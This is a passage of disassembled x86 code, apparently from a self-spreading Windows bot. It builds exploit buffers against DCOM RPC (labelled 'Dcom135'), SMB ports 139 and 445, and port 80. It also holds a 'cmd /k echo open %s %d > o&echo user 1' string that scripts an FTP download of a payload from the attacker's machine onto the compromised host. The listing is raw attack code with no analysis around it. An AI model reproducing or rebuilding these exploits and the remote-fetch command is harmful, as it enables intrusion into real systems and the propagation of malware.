var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------

loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4211D0
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420106
		test	eax, eax
		jnz	short loc_4044D9

loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------

loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43A3D0

loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43A3B4
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43A408
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; .nsp0:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------

loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415570
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155D0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155D0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155D0
		push	6
		add	ebx, edi
		push	offset dword_438FEC
		push	ebx
		call	sub_4155D0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3

loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------

loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1

loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E3D
		pop	ecx
		mov	al, bl

loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: .nsp0:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	dword_4211EC
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B

loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_421240
		call	sub_415F8C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E6C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F8C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420263
		call	sub_416458
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C

loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]

loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------

loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------

loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1

loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx

loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415FB3
		pop	ecx
		pop	ecx
		call	sub_415F8C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax

loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9

loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi

loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]

loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE

loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx

loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: .nsp0:00404A51p
		mov	eax, offset loc_420280
		call	sub_416458
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438FDC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DC9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------

loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax

loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]

loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A6A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43A408
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------

loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1

loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E3D
		pop	ecx

loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		mov	eax, offset byte_42C1FC
		push	eax
		push	eax
		push	dword_438FFC
		push	dword ptr [ebp+8]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A6A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------

loc_4049AD:				; CODE XREF: .nsp0:004049A4j
		mov	[ebp-0Ch], esi

loc_4049B0:				; CODE XREF: .nsp0:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	dword_4211E0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43A3B8
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A3F8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------

loc_404A5B:				; CODE XREF: .nsp0:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------

loc_404A75:				; CODE XREF: .nsp0:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532

loc_404A8D:				; CODE XREF: .nsp0:00404A73j
		add	esp, 0Ch

loc_404A90:				; CODE XREF: .nsp0:00404A59j
		movzx	esi, al

loc_404A93:				; CODE XREF: .nsp0:00404A0Cj
					; .nsp0:00404A7Fj
		push	ebx
		call	dword_43A450
		test	esi, esi
		jnz	short loc_404AA9

loc_404A9E:				; CODE XREF: .nsp0:004049C9j
		push	3E8h
		call	dword_421060

loc_404AA9:				; CODE XREF: .nsp0:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0

loc_404AB6:				; CODE XREF: .nsp0:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_404B0F:				; CODE XREF: .nsp0:00404AC0j
		mov	eax, esi

loc_404B11:				; CODE XREF: .nsp0:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420244

loc_404B16:				; CODE XREF: sub_420244+3j
					; .nsp0:0042025Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420244

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FDB0

loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415570
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FDB0

loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FE0A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFDC

loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]

loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258

loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258

loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
